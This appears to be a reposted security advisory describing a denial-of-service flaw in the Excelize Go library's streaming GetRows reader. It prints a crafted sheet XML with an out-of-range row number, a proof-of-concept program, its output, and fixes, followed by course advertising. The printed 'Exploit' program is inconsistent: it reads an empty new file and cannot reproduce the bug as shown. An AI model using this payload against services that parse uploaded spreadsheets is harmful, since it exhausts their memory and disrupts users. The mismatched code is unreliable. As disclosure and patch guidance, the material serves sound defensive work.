Listen to this Post
CVE-2026-54063 is the prior row-bound fix for GHSA-h69g in Excelize.
The checked worksheet parser validates row numbers before allocating sheet rows.
excelize.go checkRowNum(r int) rejects negative rows and rows greater than TotalRows.
excelize.go checkSheet() calls checkRowNum(r.R) before allocation.
workSheetReader() invokes checkSheet()/checkRow() before returning a cached worksheet.
However, the streaming worksheet reader used by Rows and GetRows does not use that checked parser.
rows.go Rows(sheet) opens an XML decoder directly.
Rows.Next() accepts the row r attribute and assigns it to iterator current row without checkRowNum().
Rows.Columns() also assigns row r to iterator state without checkRowNum().
GetRows() appends empty row slices for the gap between the previous row and current row.
A tiny XLSX file can set row r above Excelize maximum row 1048576.
The cell can omit the r coordinate while still containing a value.
This avoids cell-coordinate row validation but still causes GetRows() to materialize rows.
The conservative PoC uses row r=”2000000″ and a shared string cell without r.
GetRows returns a [][]string with length 2,000,000 and success nil error.
Allocation is about 46 MB, and larger row numbers scale allocation further.
This is an availability issue and incomplete coverage variant of GHSA-h69g row-index allocation class.
Reproduced on default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314.
Reproduced on latest release tag v2.10.1 5ad5ab3af0054c55bdce09f1530085600e9f2e45.
Affected package is github.com/xuri/excelize/v2.
No fixed version was known at time of report.
Control using checked parser row r=”1048577″ and c r=”A1048577″ returns row number exceeds maximum limit.
This confirms inconsistent enforcement in streaming path rather than missing global constant.
Expected behavior is Rows/GetRows reject row numbers greater than TotalRows.
Suggested remediation applies row-bound validation in streaming reader after parsing row r.
Suggested remediation preserves and returns row parsing errors from GetRows().
Suggested remediation avoids silently continuing or returning only Rows.Close() errors.
Suggested remediation adds regression tests for GetRows() with row r=”1048577″ and cell value without cell r.
The root cause is missing checkRowNum() enforcement in Rows.Next(), Rows.Columns(), and GetRows() gap filling.
DailyCVE Form:
Platform: Excelize Go Library
Version: v2.10.1 1213a8bd
Vulnerability: Streaming GetRows bypass
Severity: Availability issue
date: Not provided
Prediction: Unknown patch date
(end of form)
What Undercode Say:
Analytics:
unzip -p poc.xlsx xl/worksheets/sheet1.xml
<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="2000000"><c t="s"><v>0</v></c></row> </sheetData> </worksheet>
rows, err := f.GetRows("Sheet1")
fmt.Println("rows_len:", len(rows))
if len(rows) > 0 {
fmt.Println("last_row:", rows[len(rows)-1])
}
fmt.Printf("returned error: %T %v\n", err, err)
go run poc.go
== streaming GetRows row r=2000000 cell without r == rows_len: 2000000 last_row: [bash] returned error: <nil> <nil> elapsed=21ms alloc_delta=46MB
== streaming GetRows row r=2000000 cell without r == rows_len: 2000000 last_row: [bash] returned error: <nil> <nil> elapsed=14ms alloc_delta=46MB
row r="1048577" and c r="A1048577" returns row number exceeds maximum limit
Exploit: (Educational Purposes!)
package main
import (
"fmt"
"github.com/xuri/excelize/v2"
)
func main() {
f := excelize.NewFile()
rows, err := f.GetRows("Sheet1")
fmt.Println("rows_len:", len(rows))
if len(rows) > 0 {
fmt.Println("last_row:", rows[len(rows)-1])
}
fmt.Printf("returned error: %T %v\n", err, err)
}
Protection: from this CVE
Apply checkRowNum() in streaming reader after row r parse.
Preserve and return row parsing errors from GetRows().
Add regression tests for row r=”1048577″ with cell value no cell r.
Reject row numbers greater than TotalRows in Rows/GetRows.
Impact:
Tiny XLSX causes attacker-controlled memory and CPU.
GetRows returns 2,000,000 rows and about 46 MB.
Availability issue.
Incomplete coverage variant of GHSA-h69g row-index allocation class.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

